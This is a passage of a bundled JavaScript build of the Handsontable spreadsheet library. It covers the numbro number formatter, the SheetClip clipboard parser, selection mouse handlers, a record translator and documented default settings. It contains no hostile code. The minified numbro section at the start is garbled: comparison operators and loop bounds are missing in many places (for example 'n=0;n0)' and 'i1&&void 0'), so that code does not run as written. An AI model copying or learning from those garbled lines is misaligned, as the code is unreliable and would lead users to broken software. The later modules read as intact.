v(e){for(var t="",n=0;n0)n=c+f+v(o-f.length);else{var g=".";g=+c<0?"-0"+g:"0"+g;var p=(v(-o-1)+Math.abs(c)+f).substr(0,t);p.length0&&t>0&&(n+="."+v(t)),n}function y(e,t){return-1!==e.toString().indexOf("e")?m(e,t):(Math.round(+(e+"e+"+t))/Math.pow(10,t)).toFixed(t)}function b(e,t,n,r,i){if(-1===r)return e;var a=y(t,r),o=a.toString().split("."),u=k(o,2),s=u[0],c=u[1],l=void 0===c?"":c;if(l.match(/^0+$/)&&(n||i))return s;var f=l.match(/0+$/);return i&&f?s+"."+l.toString().slice(0,f.index):a.toString()}function w(e,t,n,r){var i=e,a=i.toString().split("."),o=k(a,2),u=o[0],s=o[1];if(u.match(/^-?0$/)&&n)return s?u.replace("0","")+"."+s:u.replace("0","");if(u.length0;i--)r===t&&(n.unshift(i),r=0),r++;return n}function S(e,t,n,r,i){var a=r.currentDelimiters(),o=a.thousands;i=i||a.decimal;var u=a.thousandsSize||3,s=e.toString(),c=s.split(".")[0],l=s.split(".")[1];return n&&(t<0&&(c=c.slice(1)),x(c.length,u).forEach(function(e,t){c=c.slice(0,e+t)+o+c.slice(e+t)}),t<0&&(c="-"+c)),s=l?c+i+l:c}function N(e,t){return e+t}function O(e,t,n){return 0===t?e:0==+e?e.replace("-",""):t>0?"+"+e:"sign"===n?e:"("+e.replace("-","")+")"}function M(e,t){return t+e}function F(e,t){return e+t}function D(e){var t=e.instance,n=e.providedFormat,r=e.state,i=void 0===r?_:r,a=e.decimalSeparator,o=e.defaults,u=void 0===o?i.currentDefaults():o,s=t._value;if(0===s&&i.hasZeroFormat())return i.getZeroFormat();if(!isFinite(s))return s.toString();var c=Object.assign({},U,u,n),l=c.totalLength,f=l?0:c.characteristic,g=c.optionalCharacteristic,p=c.forceAverage,v=!!l||!!p||c.average,m=l?-1:v&&void 0===n.mantissa?0:c.mantissa,y=!l&&(void 0===n.optionalMantissa?-1===m:c.optionalMantissa),x=c.trimMantissa,M=c.thousandSeparated,F=c.spaceSeparated,D=c.negative,B=c.forceSign,k=c.exponential,A="";if(v){var L=d({value:s,forceAverage:p,abbreviations:i.currentAbbreviations(),spaceSeparated:F,totalLength:l});s=L.value,A+=L.abbreviation,l&&(m=L.mantissaPrecision)}if(k){var E=h({value:s,characteristicPrecision:f});s=E.value,A=E.abbreviation+A}var T=b(s.toString(),s,y,m,x);return T=w(T,s,g,f),T=S(T,s,M,i,a),(v||k)&&(T=N(T,A)),(B||s<0)&&(T=O(T,s,D)),T}function B(e,t){if(!e)return t;var n=Object.keys(e);return 1===n.length&&"output"===n[0]?t:e}var k=function(){function e(e,t){var n=[],r=!0,i=!1,a=void 0;try{for(var o,u=e[Symbol.iterator]();!(r=(o=u.next()).done)&&(n.push(o.value),!t||n.length!==t);r=!0);}catch(e){i=!0,a=e}finally{try{!r&&u.return&&u.return()}finally{if(i)throw a}}return n}return function(t,n){if(Array.isArray(t))return t;if(Symbol.iterator in Object(t))return e(t,n);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),_=e("./globalState"),A=e("./validating"),L=e("./parsing"),E=["B","KB","MB","GB","TB","PB","EB","ZB","YB"],T={general:{scale:1024,suffixes:E,marker:"bd"},binary:{scale:1024,suffixes:["B","KiB","MiB","GiB","TiB","PiB","EiB","ZiB","YiB"],marker:"b"},decimal:{scale:1e3,suffixes:E,marker:"d"}},U={totalLength:0,characteristic:0,forceAverage:!1,average:!1,mantissa:-1,optionalMantissa:!0,thousandSeparated:!1,spaceSeparated:!1,negative:"sign",forceSign:!1};t.exports=function(e){return{format:function(){for(var t=arguments.length,n=Array(t),i=0;i1&&void 0!==arguments[1]&&arguments[1];if(!o.validateLanguage(e))throw new Error("Invalid language data");l[e.languageTag]=e,t&&r(e.languageTag)},s.setLanguage=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:a.languageTag;if(!l[e]){var n=e.split("-")[0],i=Object.keys(l).find(function(e){return e.split("-")[0]===n});return l[i]?void r(i):void r(t)}r(e)},s.registerLanguage(a),c=a.languageTag,t.exports=s},{"./en-US":2,"./parsing":8,"./validating":10}],5:[function(e,t,n){"use strict";function r(t,n){t.forEach(function(t){var r=void 0;try{r=e("../languages/"+t)}catch(e){console.error('Unable to load "'+t+'". No matching language file found.')}r&&n.registerLanguage(r)})}t.exports=function(e){return{loadLanguagesInNode:function(t){return r(t,e)}}}},{}],6:[function(e,t,n){"use strict";function r(e,t,n){var r=new c(e._value),i=t;return n.isNumbro(t)&&(i=t._value),i=new c(i),e._value=r.add(i).toNumber(),e}function i(e,t,n){var r=new c(e._value),i=t;return n.isNumbro(t)&&(i=t._value),i=new c(i),e._value=r.minus(i).toNumber(),e}function a(e,t,n){var r=new c(e._value),i=t;return n.isNumbro(t)&&(i=t._value),i=new c(i),e._value=r.times(i).toNumber(),e}function o(e,t,n){var r=new c(e._value),i=t;return n.isNumbro(t)&&(i=t._value),i=new c(i),e._value=r.dividedBy(i).toNumber(),e}function u(e,t,n){var r=t;return n.isNumbro(t)&&(r=t._value),e._value=r,e}function s(e,t,n){var r=n(e._value);return i(r,t,n),Math.abs(r._value)}var c=e("bignumber.js");t.exports=function(e){return{add:function(t,n){return r(t,n,e)},subtract:function(t,n){return i(t,n,e)},multiply:function(t,n){return a(t,n,e)},divide:function(t,n){return o(t,n,e)},set:function(t,n){return u(t,n,e)},difference:function(t,n){return s(t,n,e)}}}},{"bignumber.js":1}],7:[function(e,t,n){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function i(e){var t=e;return a.isNumbro(e)?t=e._value:"string"==typeof e?t=a.unformat(e):isNaN(e)&&(t=NaN),t}function a(e){return new d(i(e))}var o=function(){function e(e,t){for(var n=0;n0&&void 0!==arguments[0]?arguments[0]:{};return f.format(this,e)}},{key:"formatCurrency",value:function(e){return"string"==typeof e&&(e=p.parseFormat(e)),e=f.formatOrDefault(e,u.currentCurrencyDefaultFormat()),e.output="currency",f.format(this,e)}},{key:"formatTime",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return e.output="time",f.format(this,e)}},{key:"binaryByteUnits",value:function(){return f.getBinaryByteUnit(this)}},{key:"decimalByteUnits",value:function(){return f.getDecimalByteUnit(this)}},{key:"byteUnits",value:function(){return f.getByteUnit(this)}},{key:"difference",value:function(e){return g.difference(this,e)}},{key:"add",value:function(e){return g.add(this,e)}},{key:"subtract",value:function(e){return g.subtract(this,e)}},{key:"multiply",value:function(e){return g.multiply(this,e)}},{key:"divide",value:function(e){return g.divide(this,e)}},{key:"set",value:function(e){return g.set(this,i(e))}},{key:"value",value:function(){return this._value}},{key:"valueOf",value:function(){return this._value}}]),e}();a.version="2.1.1",a.isNumbro=function(e){return e instanceof d},a.language=u.currentLanguage,a.registerLanguage=u.registerLanguage,a.setLanguage=u.setLanguage,a.languages=u.languages,a.languageData=u.languageData,a.zeroFormat=u.setZeroFormat,a.defaultFormat=u.currentDefaults,a.setDefaults=u.setDefaults,a.defaultCurrencyFormat=u.currentCurrencyDefaultFormat,a.validate=s.validate,a.loadLanguagesInNode=c.loadLanguagesInNode,a.unformat=l.unformat,t.exports=a},{"./formatting":3,"./globalState":4,"./loading":5,"./manipulating":6,"./parsing":8,"./unformatting":9,"./validating":10}],8:[function(e,t,n){"use strict";function r(e,t){var n=e.match(/^{([^}]*)}/);return n?(t.prefix=n[1],e.slice(n[0].length)):e}function i(e,t){var n=e.match(/{([^}]*)}$/);return n?(t.postfix=n[1],e.slice(0,-n[0].length)):e}function a(e,t){if(-1===e.indexOf("$")){if(-1===e.indexOf("%"))return-1!==e.indexOf("bd")?(t.output="byte",void(t.base="general")):-1!==e.indexOf("b")?(t.output="byte",void(t.base="binary")):-1!==e.indexOf("d")?(t.output="byte",void(t.base="decimal")):void(-1===e.indexOf(":")?-1!==e.indexOf("o")&&(t.output="ordinal"):t.output="time");t.output="percent"}else t.output="currency"}function o(e,t){-1!==e.indexOf(",")&&(t.thousandSeparated=!0)}function u(e,t){-1!==e.indexOf(" ")&&(t.spaceSeparated=!0)}function s(e,t){var n=e.match(/[1-9]+[0-9]*/);n&&(t.totalLength=+n[0])}function c(e,t){var n=e.split(".")[0].match(/0+/);n&&(t.characteristic=n[0].length)}function l(e,t){var n=e.split(".")[1];if(n){var r=n.match(/0+/);r&&(t.mantissa=r[0].length)}}function f(e,t){-1!==e.indexOf("a")&&(t.average=!0)}function g(e,t){-1!==e.indexOf("K")?t.forceAverage="thousand":-1!==e.indexOf("M")?t.forceAverage="million":-1!==e.indexOf("B")?t.forceAverage="billion":-1!==e.indexOf("T")&&(t.forceAverage="trillion")}function p(e,t){e.match(/\[\.]/)?t.optionalMantissa=!0:e.match(/\./)&&(t.optionalMantissa=!1)}function d(e,t){if(-1!==e.indexOf(".")){var n=e.split(".")[0];t.optionalCharacteristic=-1===n.indexOf("0")}}function h(e,t){e.match(/^\+?\([^)]*\)$/)&&(t.negative="parenthesis"),e.match(/^\+?-/)&&(t.negative="sign")}function v(e,t){e.match(/^\+/)&&(t.forceSign=!0)}t.exports={parseFormat:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return"string"!=typeof e?e:(e=r(e,t),e=i(e,t),a(e,t),s(e,t),c(e,t),d(e,t),f(e,t),g(e,t),l(e,t),p(e,t),o(e,t),u(e,t),h(e,t),v(e,t),t)}}},{}],9:[function(e,t,n){"use strict";function r(e){return e.replace(/[-/\\^$*+?.()|[\]{}]/g,"\\$&")}function i(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"",a=arguments[3],o=arguments[4],u=arguments[5],s=arguments[6];if(!isNaN(+e))return+e;var l="",f=e.replace(/(^[^(]*)\((.*)\)([^)]*$)/,"$1$2$3");if(f!==e)return-1*i(f,t,n,a,o,u,s);for(var g=0;g2&&void 0!==arguments[2]?arguments[2]:"",i=e.replace(n,"");return i=i.replace(new RegExp("([0-9])"+r(t.thousands)+"([0-9])","g"),"$1$2"),i=i.replace(t.decimal,".")}function o(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"",r=arguments[3],o=arguments[4],u=arguments[5],s=arguments[6];if(""!==e)return isNaN(+e)?e===o?0:i(a(e,t,n),t,n,r,o,u,s):+e}function u(e,t){if(!(e.indexOf(":")&&":"!==t.thousands))return!1;var n=e.split(":");if(3!==n.length)return!1;var r=+n[0],i=+n[1],a=+n[2];return!isNaN(r)&&!isNaN(i)&&!isNaN(a)}function s(e){var t=e.split(":"),n=+t[0],r=+t[1];return+t[2]+60*r+3600*n}var c=[{key:"ZiB",factor:Math.pow(1024,7)},{key:"ZB",factor:Math.pow(1e3,7)},{key:"YiB",factor:Math.pow(1024,8)},{key:"YB",factor:Math.pow(1e3,8)},{key:"TiB",factor:Math.pow(1024,4)},{key:"TB",factor:Math.pow(1e3,4)},{key:"PiB",factor:Math.pow(1024,5)},{key:"PB",factor:Math.pow(1e3,5)},{key:"MiB",factor:Math.pow(1024,2)},{key:"MB",factor:Math.pow(1e3,2)},{key:"KiB",factor:Math.pow(1024,1)},{key:"KB",factor:Math.pow(1e3,1)},{key:"GiB",factor:Math.pow(1024,3)},{key:"GB",factor:Math.pow(1e3,3)},{key:"EiB",factor:Math.pow(1024,6)},{key:"EB",factor:Math.pow(1e3,6)},{key:"B",factor:1}];t.exports={unformat:function(t,n){var r=e("./globalState"),i=r.currentDelimiters(),a=r.currentCurrency().symbol,c=r.currentOrdinal(),l=r.getZeroFormat(),f=r.currentAbbreviations(),g=void 0;if("string"==typeof t)g=u(t,i)?s(t):o(t,i,a,c,l,f,n);else{if("number"!=typeof t)return;g=t}if(void 0!==g)return g}}},{"./globalState":4}],10:[function(e,t,n){"use strict";function r(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t3&&void 0!==arguments[3]&&arguments[3],o=Object.keys(e).map(function(r){if(!t[r])return console.error(n+" Invalid key: "+r),!1;var i=e[r],o=t[r];if("string"==typeof o&&(o={type:o}),"format"===o.type){if(!a(i,l,"[Validate "+r+"]",!0))return!1}else if((void 0===i?"undefined":u(i))!==o.type)return console.error(n+" "+r+' type mismatched: "'+o.type+'" expected, "'+(void 0===i?"undefined":u(i))+'" provided'),!1;if(o.restrictions&&o.restrictions.length)for(var s=o.restrictions.length,c=0;c=0},message:"value must be positive"},prefix:"string",postfix:"string",forceAverage:{type:"string",validValues:["trillion","billion","million","thousand"]},average:"boolean",currencyPosition:{type:"string",validValues:["prefix","infix","postfix"]},currencySymbol:"string",totalLength:{type:"number",restrictions:[{restriction:function(e){return e>=0},message:"value must be positive"},{restriction:function(e,t){return!t.exponential},message:"`totalLength` is incompatible with `exponential`"}]},mantissa:{type:"number",restriction:function(e){return e>=0},message:"value must be positive"},optionalMantissa:"boolean",trimMantissa:"boolean",optionalCharacteristic:"boolean",thousandSeparated:"boolean",spaceSeparated:"boolean",abbreviations:{type:"object",children:{thousand:"string",million:"string",billion:"string",trillion:"string"}},negative:{type:"string",validValues:["sign","parenthesis"]},forceSign:"boolean",exponential:{type:"boolean"},prefixSymbol:{type:"boolean",restriction:function(e,t){return"percent"===t.output},message:"`prefixSymbol` can be provided only when the output is `percent`"}},f={languageTag:{type:"string",mandatory:!0,restriction:function(e){return e.match(c)},message:"the language tag must follow the BCP 47 specification (see https://tools.ieft.org/html/bcp47)"},delimiters:{type:"object",children:{thousands:"string",decimal:"string",thousandsSize:"number"},mandatory:!0},abbreviations:{type:"object",children:{thousand:{type:"string",mandatory:!0},million:{type:"string",mandatory:!0},billion:{type:"string",mandatory:!0},trillion:{type:"string",mandatory:!0}},mandatory:!0},spaceSeparated:"boolean",ordinal:{type:"function",mandatory:!0},currency:{type:"object",children:{symbol:"string",position:"string",code:"string"},mandatory:!0},defaults:"format",ordinalFormat:"format",byteFormat:"format",percentageFormat:"format",currencyFormat:"format",timeDefaults:"format",formats:{type:"object",children:{fourDigits:{type:"format",mandatory:!0},fullWithTwoDecimals:{type:"format",mandatory:!0},fullWithTwoDecimalsNoCurrency:{type:"format",mandatory:!0},fullWithNoDecimals:{type:"format",mandatory:!0}}}};t.exports={validate:function(e,t){var n=i(e),r=o(t);return n&&r},validateFormat:o,validateInput:i,validateLanguage:function(e){return a(e,f,"[Validate language]")}}},{"./unformatting":9}]},{},[7])(7)}); //# sourceMappingURL=numbro.min.js.map /*** EXPORTS FROM exports-to-window-loader ***/ window['numbro'] = __webpack_require__(420); /***/ }), /* 421 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.getNormalizedDate = getNormalizedDate; /* eslint-disable import/prefer-default-export */ /** * Get normalized Date object for the ISO formatted date strings. * Natively, the date object parsed from a ISO 8601 string will be offsetted by the timezone difference, which may result in returning a wrong date. * See: Github issue #3338. * * @param {String} dateString String representing the date. * @returns {Date} The proper Date object. */ function getNormalizedDate(dateString) { var nativeDate = new Date(dateString); // NaN if dateString is not in ISO format if (!isNaN(new Date("".concat(dateString, "T00:00")).getDate())) { // Compensate timezone offset return new Date(nativeDate.getTime() + nativeDate.getTimezoneOffset() * 60000); } return nativeDate; } /***/ }), /* 422 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; /** * SheetClip - Spreadsheet Clipboard Parser * version 0.2 * * This tiny library transforms JavaScript arrays to strings that are pasteable by LibreOffice, OpenOffice, * Google Docs and Microsoft Excel. * * Copyright 2012, Marcin Warpechowski * Licensed under the MIT license. * http://github.com/warpech/sheetclip/ */ /*jslint white: true*/ (function (global) { "use strict"; function countQuotes(str) { return str.split('"').length - 1; } var SheetClip = { /** * Decode spreadsheet string into array * * @param {String} str * @returns {Array} */ parse: function parse(str) { var r, rLen, rows, arr = [], a = 0, c, cLen, multiline, last; rows = str.replace(/\r\n|\r/g, '\n').split('\n'); if (rows.length > 1 && rows[rows.length - 1] === '') { rows.pop(); } for (r = 0, rLen = rows.length; r < rLen; r += 1) { rows[r] = rows[r].split('\t'); for (c = 0, cLen = rows[r].length; c < cLen; c += 1) { if (!arr[a]) { arr[a] = []; } if (multiline && c === 0) { last = arr[a].length - 1; arr[a][last] = arr[a][last] + '\n' + rows[r][0]; if (multiline && countQuotes(rows[r][0]) & 1) { //& 1 is a bitwise way of performing mod 2 multiline = false; arr[a][last] = arr[a][last].substring(0, arr[a][last].length - 1).replace(/""/g, '"'); } } else { if (c === cLen - 1 && rows[r][c].indexOf('"') === 0 && countQuotes(rows[r][c]) & 1) { arr[a].push(rows[r][c].substring(1).replace(/""/g, '"')); multiline = true; } else { arr[a].push(rows[r][c].replace(/""/g, '"')); multiline = false; } } } if (!multiline) { a += 1; } } return arr; }, /** * Encode array into valid spreadsheet string * * @param arr * @returns {String} */ stringify: function stringify(arr) { var r, rLen, c, cLen, str = '', val; for (r = 0, rLen = arr.length; r < rLen; r += 1) { cLen = arr[r].length; for (c = 0; c < cLen; c += 1) { if (c > 0) { str += '\t'; } val = arr[r][c]; if (typeof val === 'string') { if (val.indexOf('\n') > -1) { str += '"' + val.replace(/"/g, '""') + '"'; } else { str += val; } } else if (val === null || val === void 0) { // void 0 resolves to undefined str += ''; } else { str += val; } } if (r !== rLen - 1) { str += '\n'; } } return str; } }; if (true) { exports.parse = SheetClip.parse; exports.stringify = SheetClip.stringify; } else { global.SheetClip = SheetClip; } })(window); /***/ }), /* 423 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.mouseDown = mouseDown; exports.mouseOver = mouseOver; exports.handleMouseEvent = handleMouseEvent; var _event = __webpack_require__(18); var _src = __webpack_require__(8); /** * MouseDown handler. * * @param {Object} options * @param {Boolean} options.isShiftKey The flag which indicates if the shift key is pressed. * @param {Boolean} options.isLeftClick The flag which indicates if the left mouse button is pressed. * @param {Boolean} options.isRightClick The flag which indicates if the right mouse button is pressed. * @param {CellRange} options.coords The CellCoords object with defined visual coordinates. * @param {Selection} options.selection The Selection class instance. * @param {Object} options.controller An object with keys `row`, `column`, `cell` which indicate what * operation will be performed in later selection stages. */ function mouseDown(_ref) { var isShiftKey = _ref.isShiftKey, isLeftClick = _ref.isLeftClick, isRightClick = _ref.isRightClick, coords = _ref.coords, selection = _ref.selection, controller = _ref.controller; var currentSelection = selection.isSelected() ? selection.getSelectedRange().current() : null; var selectedCorner = selection.isSelectedByCorner(); var selectedRow = selection.isSelectedByRowHeader(); if (isShiftKey && currentSelection) { if (coords.row >= 0 && coords.col >= 0 && !controller.cells) { selection.setRangeEnd(coords); } else if ((selectedCorner || selectedRow) && coords.row >= 0 && coords.col >= 0 && !controller.cells) { selection.setRangeEnd(new _src.CellCoords(coords.row, coords.col)); } else if (selectedCorner && coords.row < 0 && !controller.column) { selection.setRangeEnd(new _src.CellCoords(currentSelection.to.row, coords.col)); } else if (selectedRow && coords.col < 0 && !controller.row) { selection.setRangeEnd(new _src.CellCoords(coords.row, currentSelection.to.col)); } else if ((!selectedCorner && !selectedRow && coords.col < 0 || selectedCorner && coords.col < 0) && !controller.row) { selection.selectRows(currentSelection.from.row, coords.row); } else if ((!selectedCorner && !selectedRow && coords.row < 0 || selectedRow && coords.row < 0) && !controller.column) { selection.selectColumns(currentSelection.from.col, coords.col); } } else { var newCoord = new _src.CellCoords(coords.row, coords.col); if (newCoord.row < 0) { newCoord.row = 0; } if (newCoord.col < 0) { newCoord.col = 0; } var allowRightClickSelection = !selection.inInSelection(newCoord); var performSelection = isLeftClick || isRightClick && allowRightClickSelection; // clicked row header and when some column was selected if (coords.row < 0 && coords.col >= 0 && !controller.column) { if (performSelection) { selection.selectColumns(coords.col); } // clicked column header and when some row was selected } else if (coords.col < 0 && coords.row >= 0 && !controller.row) { if (performSelection) { selection.selectRows(coords.row); } } else if (coords.col >= 0 && coords.row >= 0 && !controller.cells) { if (performSelection) { selection.setRangeStart(coords); } } else if (coords.col < 0 && coords.row < 0) { selection.setRangeStart(coords); } } } /** * MouseOver handler. * * @param {Object} options * @param {Boolean} options.isLeftClick * @param {CellRange} options.coords The CellCoords object with defined visual coordinates. * @param {Selection} options.selection The Selection class instance. * @param {Object} options.controller An object with keys `row`, `column`, `cell` which indicate what * operation will be performed in later selection stages. */ function mouseOver(_ref2) { var isLeftClick = _ref2.isLeftClick, coords = _ref2.coords, selection = _ref2.selection, controller = _ref2.controller; if (!isLeftClick) { return; } var selectedRow = selection.isSelectedByRowHeader(); var selectedColumn = selection.isSelectedByColumnHeader(); var countCols = selection.tableProps.countCols(); var countRows = selection.tableProps.countRows(); if (selectedColumn && !controller.column) { selection.setRangeEnd(new _src.CellCoords(countRows - 1, coords.col)); } else if (selectedRow && !controller.row) { selection.setRangeEnd(new _src.CellCoords(coords.row, countCols - 1)); } else if (!controller.cell) { selection.setRangeEnd(coords); } } var handlers = new Map([['mousedown', mouseDown], ['mouseover', mouseOver], ['touchstart', mouseDown]]); /** * Mouse handler for selection functionality. * * @param {Event} event An native event to handle. * @param {Object} options * @param {CellRange} options.coords The CellCoords object with defined visual coordinates. * @param {Selection} options.selection The Selection class instance. * @param {Object} options.controller An object with keys `row`, `column`, `cell` which indicate what * operation will be performed in later selection stages. */ function handleMouseEvent(event, _ref3) { var coords = _ref3.coords, selection = _ref3.selection, controller = _ref3.controller; handlers.get(event.type)({ coords: coords, selection: selection, controller: controller, isShiftKey: event.shiftKey, isLeftClick: (0, _event.isLeftClick)(event) || event.type === 'touchstart', isRightClick: (0, _event.isRightClick)(event) }); } /***/ }), /* 424 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.registerIdentity = registerIdentity; exports.getTranslator = getTranslator; exports.getIdentity = getIdentity; exports.RecordTranslator = void 0; var _core = _interopRequireDefault(__webpack_require__(120)); var _object = __webpack_require__(2); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @class RecordTranslator * @util */ var RecordTranslator = /*#__PURE__*/ function () { function RecordTranslator(hot) { _classCallCheck(this, RecordTranslator); this.hot = hot; } /** * Translate physical row index into visual. * * @param {Number} row Physical row index. * @returns {Number} Returns visual row index. */ _createClass(RecordTranslator, [{ key: "toVisualRow", value: function toVisualRow(row) { return this.hot.runHooks('unmodifyRow', row); } /** * Translate physical column index into visual. * * @param {Number} column Physical column index. * @returns {Number} Returns visual column index. */ }, { key: "toVisualColumn", value: function toVisualColumn(column) { return this.hot.runHooks('unmodifyCol', column); } /** * Translate physical coordinates into visual. Can be passed as separate 2 arguments (row, column) or as an object in first * argument with `row` and `column` keys. * * @param {Number|Object} row Physical coordinates or row index. * @param {Number} [column] Physical column index. * @returns {Object|Array} Returns an object with visual records or an array if coordinates passed as separate arguments. */ }, { key: "toVisual", value: function toVisual(row, column) { var result; if ((0, _object.isObject)(row)) { result = { row: this.toVisualRow(row.row), column: this.toVisualColumn(row.column) }; } else { result = [this.toVisualRow(row), this.toVisualColumn(column)]; } return result; } /** * Translate visual row index into physical. * * @param {Number} row Visual row index. * @returns {Number} Returns physical row index. */ }, { key: "toPhysicalRow", value: function toPhysicalRow(row) { return this.hot.runHooks('modifyRow', row); } /** * Translate visual column index into physical. * * @param {Number} column Visual column index. * @returns {Number} Returns physical column index. */ }, { key: "toPhysicalColumn", value: function toPhysicalColumn(column) { return this.hot.runHooks('modifyCol', column); } /** * Translate visual coordinates into physical. Can be passed as separate 2 arguments (row, column) or as an object in first * argument with `row` and `column` keys. * * @param {Number|Object} row Visual coordinates or row index. * @param {Number} [column] Visual column index. * @returns {Object|Array} Returns an object with physical records or an array if coordinates passed as separate arguments. */ }, { key: "toPhysical", value: function toPhysical(row, column) { var result; if ((0, _object.isObject)(row)) { result = { row: this.toPhysicalRow(row.row), column: this.toPhysicalColumn(row.column) }; } else { result = [this.toPhysicalRow(row), this.toPhysicalColumn(column)]; } return result; } }]); return RecordTranslator; }(); exports.RecordTranslator = RecordTranslator; var identities = new WeakMap(); var translatorSingletons = new WeakMap(); /** * Allows to register custom identity manually. * * @param {*} identity * @param {*} hot */ function registerIdentity(identity, hot) { identities.set(identity, hot); } /** * Returns a cached instance of RecordTranslator or create the new one for given identity. * * @param {*} identity * @returns {RecordTranslator} */ function getTranslator(identity) { var instance = identity instanceof _core.default ? identity : getIdentity(identity); var singleton; if (translatorSingletons.has(instance)) { singleton = translatorSingletons.get(instance); } else { singleton = new RecordTranslator(instance); translatorSingletons.set(instance, singleton); } return singleton; } /** * Returns mapped identity. * * @param {*} identity * @returns {*} */ function getIdentity(identity) { if (!identities.has(identity)) { throw Error('Record translator was not registered for this object identity'); } return identities.get(identity); } /***/ }), /* 425 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.registerAsRootInstance = registerAsRootInstance; exports.hasValidParameter = hasValidParameter; exports.isRootInstance = isRootInstance; exports.rootInstanceSymbol = exports.holder = void 0; var holder = new WeakMap(); exports.holder = holder; var rootInstanceSymbol = Symbol('rootInstance'); /** * Register an object as a root instance. * * @param {Object} object An object to associate with root instance flag. */ exports.rootInstanceSymbol = rootInstanceSymbol; function registerAsRootInstance(object) { holder.set(object, true); } /** * Check if the source of the root indication call is valid. * * @param {Symbol} rootSymbol A symbol as a source of truth. * @return {Boolean} */ function hasValidParameter(rootSymbol) { return rootSymbol === rootInstanceSymbol; } /** * Check if passed an object was flagged as a root instance. * * @param {Object} object An object to check. * @return {Boolean} */ function isRootInstance(object) { return holder.has(object); } /***/ }), /* 426 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _mixed = __webpack_require__(14); var _object = __webpack_require__(2); function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } /** * @alias Options * @constructor * @description * ## Constructor options * * Constructor options are applied using an object literal passed as a second argument to the Handsontable constructor. * * ```js * const container = document.getElementById('example'); * const hot = new Handsontable(container, { * data: myArray, * width: 400, * height: 300 * }); * ``` * * --- * ## Cascading configuration * * Handsontable is using *Cascading Configuration*, which is a fast way to provide configuration options * for the entire table, including its columns and particular cells. * * Consider the following example: * ```js * const container = document.getElementById('example'); * const hot = new Handsontable(container, { * readOnly: true, * columns: [ * {readOnly: false}, * {}, * {} * ], * cells: function(row, col, prop) { * var cellProperties = {}; * * if (row === 0 && col === 0) { * cellProperties.readOnly = true; * } * * return cellProperties; * } * }); * ``` * * The above notation will result in all TDs being *read only*, except for first column TDs which will be *editable*, except for the TD in top left corner which will still be *read only*. * * ### The Cascading Configuration model * * ##### 1. Constructor * * Configuration options that are provided using first-level `handsontable(container, {option: "value"})` and `updateSettings` method. * * ##### 2. Columns * * Configuration options that are provided using second-level object `handsontable(container, {columns: {option: "value"}]})` * * ##### 3. Cells * * Configuration options that are provided using third-level function `handsontable(container, {cells: function: (row, col, prop){ }})` * * --- * ## Architecture performance * * The Cascading Configuration model is based on prototypical inheritance. It is much faster and memory efficient * compared to the previous model that used jQuery extend. See: [http://jsperf.com/extending-settings](http://jsperf.com/extending-settings). * * --- * __Important notice:__ In order for the data separation to work properly, make sure that each instance of Handsontable has a unique `id`. */ function DefaultSettings() {} DefaultSettings.prototype = { /** * License key for commercial version of Handsontable. * * @pro * @type {String} * @default 'trial' * @example * ```js * licenseKey: '00000-00000-00000-00000-00000', * ``` */ licenseKey: 'trial', /** * @description * Initial data source that will be bound to the data grid __by reference__ (editing data grid alters the data source). * Can be declared as an array of arrays, array of objects or a function. * * See [Understanding binding as reference](https://docs.handsontable.com/tutorial-data-binding.html#page-reference). * * @type {Array[]|Object[]|Function} * @default undefined * @example * ```js * // as an array of arrays * data: [ * ['A', 'B', 'C'], * ['D', 'E', 'F'], * ['G', 'H', 'J'] * ] * * // as an array of objects * data: [ * {id: 1, name: 'Ted Right'}, * {id: 2, name: 'Frank Honest'}, * {id: 3, name: 'Joan Well'}, * {id: 4, name: 'Gail Polite'}, * {id: 5, name: 'Michael Fair'}, * ] * ``` */ data: void 0, /** * @description * Defines the structure of a new row when data source is an array of objects. * * See [data-schema](https://docs.handsontable.com/tutorial-data-sources.html#page-data-schema) for more options. * * @type {Object} * @default undefined * * @example * ``` * // with data schema we can start with an empty table * data: null, * dataSchema: {id: null, name: {first: null, last: null}, address: null}, * colHeaders: ['ID', 'First Name', 'Last Name', 'Address'], * columns: [ * {data: 'id'}, * {data: 'name.first'}, * {data: 'name.last'}, * {data: 'address'} * ], * startRows: 5, * minSpareRows: 1 * ``` */ dataSchema: void 0, /** * Width of the grid. Can be a value or a function that returns a value. * * @type {Number|Function} * @default undefined * * @example * ``` * // as a number * width: 500, * * // as a function * width: function() { * return 500; * }, * ``` */ width: void 0, /** * Height of the grid. Can be a number or a function that returns a number. * * @type {Number|Function} * @default undefined * * @example * ```js * // as a number * height: 500, * * // as a function * height: function() { * return 500; * }, * ``` */ height: void 0, /** * @description * Initial number of rows. * * __Note:__ This option only has effect in Handsontable constructor and only if `data` option is not provided * * @type {Number} * @default 5 * * @example * ```js * // start with 15 empty rows * startRows: 15, * ``` */ startRows: 5, /** * @description * Initial number of columns. * * __Note:__ This option only has effect in Handsontable constructor and 